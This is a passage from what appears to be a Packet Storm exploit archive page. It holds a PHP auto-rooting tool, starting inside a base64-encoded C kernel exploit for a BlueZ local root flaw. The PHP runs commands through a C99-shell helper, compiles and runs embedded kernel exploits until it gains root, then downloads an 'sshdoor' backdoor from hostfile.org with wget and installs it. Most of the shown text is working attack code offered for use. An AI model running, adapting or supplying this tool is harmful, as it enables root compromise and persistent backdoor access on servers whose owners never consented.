UgZ3V5cyBhcmUgaW50IGFsaWduZWQNCmZvcihjbnRyID0gMDsgY250ciA8PSA1MTI7IGNudHIrKywgdHMrKykNCiAgICBpZiggdHNbMF0gPT0gdWlkICYmIHRzWzFdID09IHVpZCAmJiB0c1s0XSA9PSBnaWQgJiYgdHNbNV0gPT0gZ2lkKQ0KICAgICAgdHNbMF0gPSB0c1sxXSA9IHRzWzRdID0gdHNbNV0gPSAwOw0KDQp9DQoNCg0Kdm9pZCBzaGVsbGNvZGUoKQ0Kew0Kc3lzdGVtKFxcXCIvYmluL3NoXFxcIik7DQpleGl0KDApOw0KfQ0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCi8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCg0KDQoNCg0KbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KY2hhciBidWZbMjA0OF07DQppbnQgc29jaywgKm1vZCA9IChpbnQqKWJ1ZjsNCmludCAqbGlua2VyID0gMDsNCg0KdW5zaWduZWQgaW50IGFyZzsNCmludCB0bXA7DQpjaGFyICpjaGVjazsNCnN0cnVjdCB1dHNuYW1lIHZlcnM7DQoNCmdpZCAgPSBnZXRnaWQoKTsNCnVpZCAgPSBnZXR1aWQoKTsNCg0KcHJpbnRmKFxcXCItfC1ibHVleiBsb2NhbCByb290IGV4cGxvaXQgdi4wLjkgIC1ieSBxb2JhaWFzaGktXFxcXG4gfFxcXFxuXFxcIik7DQppZiAodW5hbWUoJnZlcnMpIDwgMCkNCiAgIHByaW50ZihcXFwiIHwtIGNvdWxkblxcXCd0IGRldGVybWluZSBrZXJuZWwgdmVyc2lvblxcXFxuXFxcIik7DQoNCmVsc2UNCiAgICBwcmludGYoXFxcIiB8LSBpXFxcJ3ZlIGZvdW5kIGtlcm5lbCAlc1xcXFxuXFxcIiwgdmVycy5yZWxlYXNlKTsNCiAgICANCg0KcHJpbnRmKFxcXCIgfC0gdHJhbXBvbGluZSBpcyBhdCAlcFxcXFxuXFxcIiwgJmxvYWRfaGlnaGxldmVsKTsNCg0KDQppZiAoYXJnYyA8IDIpDQogICB7DQogICAgdXNhZ2UoYXJndlswXSk7DQogICAgZXhpdCgxKTsNCiAgICB9DQoNCmlmIChhcmdjID09IDIpDQogICAgYXJnID0gc3RydG91bChhcmd2WzFdLCAwLCAwKTsNCg0KDQppZiAoZm9yaygpICE9IDApLy9wYXJlbnQgd2F0Y2ggdGhlIE9vcHMNCiAgIHsNCiAgICAvL3ByZXZpb3VzIE9vcHMgcHJpbnRpbmcNCiAgIHVzbGVlcCgxMDAwKTsNCiAgIGlmICgodG1wID0ga2xvZ2N0bCgweDMsIGJ1ZiwgMTcwMCkpID4gLTEpDQogICAgICAgew0KICAgICAgICBjaGVjayA9IHN0cnN0cihidWYsIFxcXCJlY3g6IFxcXCIpOw0KICAgICAgICBwcmludGYoXFxcIiB8LSBbJTAuMTRzXVxcXFxuXFxcIiwgY2hlY2spOw0KICAgICAgICBjaGVjays9NTsNCiAgICAgICAgKihjaGVjays5KSA9IDB4MDA7KigtLWNoZWNrKSA9IFxcXCd4XFxcJzsqKC0tY2hlY2spID0gXFxcJzBcXFwnOw0KICAgICAgICBtb2QgPSAodW5zaWduZWQgaW50KilzdHJ0b3VsKGNoZWNrLCAwLCAwKTsNCiAgICAgICAgLy9wYWdlIGFsaWduIEZJWE1FOiBtaWdodCBiZSBib29nZ3kNCiAgICAgICAgaW50ICplY3ggPSBtb2Q7DQogICAgICAgIG1vZCA9IChpbnQpbW9kICZ+IDB4MDAwMDBmZmY7DQogICAgICAgIGxpbmtlciA9IA0KbW1hcCgodm9pZCopbW9kLDB4MjAwMCxQUk9UX1dSSVRFfFBST1RfUkVBRCxNQVBfU0hBUkVEfE1BUF9BTk9OWU1PVVN8TUFQX0ZJWEVELDAsMCk7DQogICAgICAgIGlmKGxpbmtlciA9PSBtb2QpLy93ZSBjb3VsZCBtbWFwIHRoZSBhcmVhDQogICAgICAgICAgew0KICAgICAgICAgICBwcmludGYoXFxcIiB8LSBzdWl0YWJsZSB2YWx1ZSBmb3VuZCF1c2luZyAlcFxcXFxuXFxcIiwgbW9kKTsNCiAgICAgICAgICAgcHJpbnRmKFxcXCIgfC0gdGhlIHRpbWUgaGFzIGNvbWUgdG8gcHVzaCB0aGUgYnV0dG9uLi4uIFxcXFxuXFxcIik7DQogICAgICAgICAgIGZvciAoc29jayA9IDA7c29jayA8PSAxO3NvY2srKykgICAgICAgICAgLy91c2UgZWN4DQogICAgICAgICAgICAgICAgKihlY3grKykgPSAoaW50KSZsb2FkX2hpZ2hsZXZlbDsgICAvL2xpbmsgdG8gc2hlbGxjb2RlDQogICAgICAgICAgIH0NCg0KICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgcHJpbnRmKFxcXCIgfC0gY291bGQgbm90IG1tYXAgICAlcFxcXFxuXFxcIiwgbW9kKTsNCiAgICAgICAgICAgICAgaWYoIGJyaygodm9pZCopbW9kKzB4MjAwICkgPT0gLTEpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICBwcmludGYoXFxcIiB8LSBjb3VsZCBub3QgYnJrIHRvICVwXFxcXG5cXFwiLCBtb2QpOw0KICAgICAgICAgICAgICAgICBwcmludGYoXFxcIiBgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxcXFxuXFxcIik7DQogICAgICAgICAgICAgICAgIGV4aXQoLTEpOw0KICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIC8vaGVyZSB3ZSBkaWQgaXQNCiAgICAgICAgICAgICAgcHJpbnRmKFxcXCIgfC0gc3VpdGFibGUgdmFsdWUgZm91bmQhdXNpbmcgJXBcXFxcblxcXCIsIG1vZCk7DQogICAgICAgICAgICAgIHByaW50ZihcXFwiIHwtIHRoZSB0aW1lIGhhcyBjb21lIHRvIHB1c2ggdGhlIGJ1dHRvbi4uLiBcXFxcblxcXCIpOw0KICAgICAgICAgICAgICBmb3IgKHNvY2sgPSAwO3NvY2sgPD0gMTtzb2NrKyspICAgICAgICAgIC8vdXNlIGVjeA0KICAgICAgICAgICAgICAgICAgKihlY3grKykgPSAoaW50KSZsb2FkX2hpZ2hsZXZlbDsgICAgLy9saW5rIHRvIHNoZWxsY29kZQ0KDQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgaWYgKChzb2NrID0gc29ja2V0KEFGX0JMVUVUT09USCwgU09DS19SQVcsIGFyZykpIDwgMCkNCiAgICAgICAgICAgICAgIGV4aXQoMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIH0NCiAgIHJldHVybiAwOw0KICAgfQ0KDQppZiAoZm9yaygpID09IDApLy9jaGlsZCBkb2VzIHRoZSBwcmUtZXhwbG9pdA0Kew0KICBwcmludGYoXFxcIiB8LSB0cnlpbmcuLi5cXFxcblxcXCIpOw0KICBpZiAoKHNvY2sgPSBzb2NrZXQoQUZfQkxVRVRPT1RILCBTT0NLX1JBVywgYXJnKSkgPCAwKQ0KICAgICAgew0KICAgICAgcHJpbnRmKFxcXCIgfC0gc29tZXRoaW5nIHdlbnQgdzBybmcgKGludmFsaWQgdmFsdWUpXFxcXG5cXFwiKTsNCiAgICAgIGV4aXQoMSk7DQogICAgIH0NCn0NCg0KZXhpdCgwKTsNCn0NCg0KDQoNCi8qKioqKioqKioqKioqKioqKlxcXFwNCnwqKiAgICB1c2FnZSAgICAqKnwNClxcXFwqKioqKioqKioqKioqKioqKi8NCnZvaWQgdXNhZ2UoY2hhciAqcGF0aCkNCnsNCnByaW50ZihcXFwiIHwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXFxcXG5cXFwiKTsNCnByaW50ZihcXFwiIHwgdXNhZ2U6ICVzIDxuZWdhdGl2ZSB2YWx1ZT4gXFxcXG5cXFwiLCBwYXRoKTsNCnByaW50ZihcXFwiIHwgdGVzdGVkOlxcXFxuXFxcIik7DQpwcmludGYoXFxcIiB8IFN1U0UgOS4xOiAgICAgIC0xMDAyMzQxMSAgXFxcXG5cXFwiKTsNCnByaW50ZihcXFwiIHwgICAgICAgICAgICAgICAgLTQxMTIyMTIyIFxcXFxuXFxcIik7DQpwcmludGYoXFxcIiB8IEtlcm5lbCAyLjYuMTE6IC0xMDAyMyBcXFxcblxcXCIpOw0KcHJpbnRmKFxcXCIgfCBTdVNFIDkuMzogICAgICAtMTAwMjIyXFxcXG5cXFwiKTsNCnByaW50ZihcXFwiIHwgICAgICAgICAgICAgICAgLTEwMjkwMVxcXFxuXFxcIik7DQpwcmludGYoXFxcIiBgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cXFxcblxcXCIpOw0KZXhpdCgwKTsNCn0NCg==");

/***********************************
Functions
***********************************/

function trucmd($cmd) // hap hazardly barrowed and slightly modified from C99 shell
{
$result = "";
if (!empty($cmd))
{
if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}

function test() // compile a Hello World, see if the output is Hello World if not it won't work
{
$test = base64_decode("I2luY2x1ZGU8c3RkaW8uaD4NCg0KbWFpbigpDQp7DQogICAgcHJpbnRmKFwiSGVsbG8gV29ybGRcIik7DQoNCn0=");
$fh = fopen("e.c", 'w') or die("can't open file");
fwrite($fh, stripslashes($test));
fclose($fh);
if(trucmd("chmod 777 e.c; gcc -o new2 e.c; ./new2") != "Hello World")
{
echo "[!] gcc, or write access denied!";
unlink("e.c");
return FALSE;
}else{
unlink("new2");
unlink("e.c");
return TRUE;
}
}

function ex_create($dir, $array) // create exploits from the array
{
$x = 1;
if(!is_dir($dir))
{
mkdir($dir);
}
foreach($array as $exploit)
{
ex_write($dir, $exploit, $x);
$x++;
}
return $x;
}

function ex_write($dir, $data, $name) // wire exploit data
{
$fh = fopen("./$dir/$name.c", 'w') or die("can't open file");
fwrite($fh, stripslashes($data));
fclose($fh);
}

function get_kern() // getting kernel version via uname -r and eregi()
{
if(eregi('2.6',trucmd("uname -r")))
{
return "2.6";
}elseif(eregi('2.4',trucmd("uname -r")))
{
return "2.4";
}
}

function clean($dir) //read the directory, delete the files, before deleting the dir
{
$d = dir($dir);
while($entry = $d->read())
{
if ($entry!= "." && $entry!= "..")
{
unlink("./$dir/$entry");
}
}
$d->close();
rmdir($dir);
}

function finish($dir, $x, $port, $pass)
{
trucmd("./$dir/$x; wget hostfile.org/0_sshdoor.tgz; tar -zxvf sshdoor.tar.gz; cd sshdoor; ./install $pass $port");
}


function broot($dir, $max) // compile all the source, execute each one and if whoami equals root return true
{
global $port, $pass;
$max = $max -1;
for($x=1;$x<=$max;$x++)
{
if(trucmd("chmod 777 ./$dir/$x.c; gcc -o ./$dir/$x ./$dir/$x.c; ./$x; whoami") == "root")
{
echo "[+] Rooted with ./$dir/$x <br />";
echo "[+] Installing SSHdoor <br />";
finish($dir, $x, $port, $pass);
return TRUE;
}else{
echo "[~] Failed to root with ./$dir/$x <br />";
}
}
}

/***********************************
Executed Code
***********************************/
if(test())
{
echo "[+]Getting Kernel <br />";
if(get_kern() == "2.6")
{
echo "[+] Kernel Detected 2.6 <br />";
if(!broot($dir,ex_create($dir, $two_six)))
{
echo "[!] Failed to root, removing exploits & folder";
clean($dir);
}
}
else
{
echo "[+] Kernel Detected 2.4 <br />";
if(!broot($dir,ex_create($dir, $two_four)))
{
echo "[!] Failed to root, removing exploits & folder";
clean($dir);
}
}
}
?>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close